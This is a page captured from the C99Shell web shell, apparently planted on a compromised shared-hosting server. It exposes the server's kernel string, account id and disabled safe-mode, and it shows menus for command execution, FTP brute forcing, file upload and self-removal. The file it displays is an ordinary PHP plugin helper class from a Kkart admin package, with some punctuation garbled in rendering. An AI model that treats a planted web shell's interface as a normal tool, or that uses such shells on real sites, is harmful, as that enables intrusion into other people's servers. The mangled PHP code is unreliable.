!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/kkart-pro/packages/kkart-admin/src/   drwxr-xr-x
Free 293.23 GB of 429.69 GB (68.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     PluginsHelper.php (2.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * PluginsHelper
 *
 * Helper class for the site's plugins.
 */

namespace Automattic\Kkart\Admin;

defined'ABSPATH' ) || exit;

if ( ! 
function_exists'get_plugins' ) ) {
    require_once 
KKART_ADMIN_DIR 'includes/plugin.php';
}

/**
 * Class PluginsHelper
 */
class PluginsHelper {

    
/**
     * Get the path to the plugin file relative to the plugins directory from the plugin slug.
     *
     * E.g. 'kkart' returns 'kkart/kkart.php'
     *
     * @param string $slug Plugin slug to get path for.
     *
     * @return string|false
     */
    
public static function get_plugin_path_from_slug$slug ) {
        
$plugins get_plugins();

        if ( 
strstr$slug'/' ) ) {
            
// The slug is already a plugin path.
            
return $slug;
        }

        foreach ( 
$plugins as $plugin_path => $data ) {
            
$path_parts explode'/'$plugin_path );
            if ( 
$path_parts[0] === $slug ) {
                return 
$plugin_path;
            }
        }

        return 
false;
    }

    
/**
     * Get an array of installed plugin slugs.
     *
     * @return array
     */
    
public static function get_installed_plugin_slugs() {
        return 
array_map(
            function( 
$plugin_path ) {
                
$path_parts explode'/'$plugin_path );
                return 
$path_parts[0];
            },
            
array_keysget_plugins() )
        );
    }

    
/**
     * Get an array of active plugin slugs.
     *
     * @return array
     */
    
public static function get_active_plugin_slugs() {
        return 
array_map(
            function( 
$plugin_path ) {
                
$path_parts explode'/'$plugin_path );
                return 
$path_parts[0];
            },
            
get_option'active_plugins', array() )
        );
    }

    
/**
     * Checks if a plugin is installed.
     *
     * @param string $plugin Path to the plugin file relative to the plugins directory or the plugin directory name.
     *
     * @return bool
     */
    
public static function is_plugin_installed$plugin ) {
        
$plugin_path self::get_plugin_path_from_slug$plugin );
        return 
$plugin_path array_key_exists$plugin_pathget_plugins() ) : false;
    }

    
/**
     * Checks if a plugin is active.
     *
     * @param string $plugin Path to the plugin file relative to the plugins directory or the plugin directory name.
     *
     * @return bool
     */
    
public static function is_plugin_active$plugin ) {
        
$plugin_path self::get_plugin_path_from_slug$plugin );
        return 
$plugin_path in_array$plugin_pathget_option'active_plugins', array() ), true ) : false;
    }

    
/**
     * Get plugin data.
     *
     * @param string $plugin Path to the plugin file relative to the plugins directory or the plugin directory name.
     *
     * @return array|false
     */
    
public static function get_plugin_data$plugin ) {
        
$plugin_path self::get_plugin_path_from_slug$plugin );
        
$plugins     get_plugins();

        return isset( 
$plugins$plugin_path ] ) ? $plugins$plugin_path ] : false;
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0055 ]--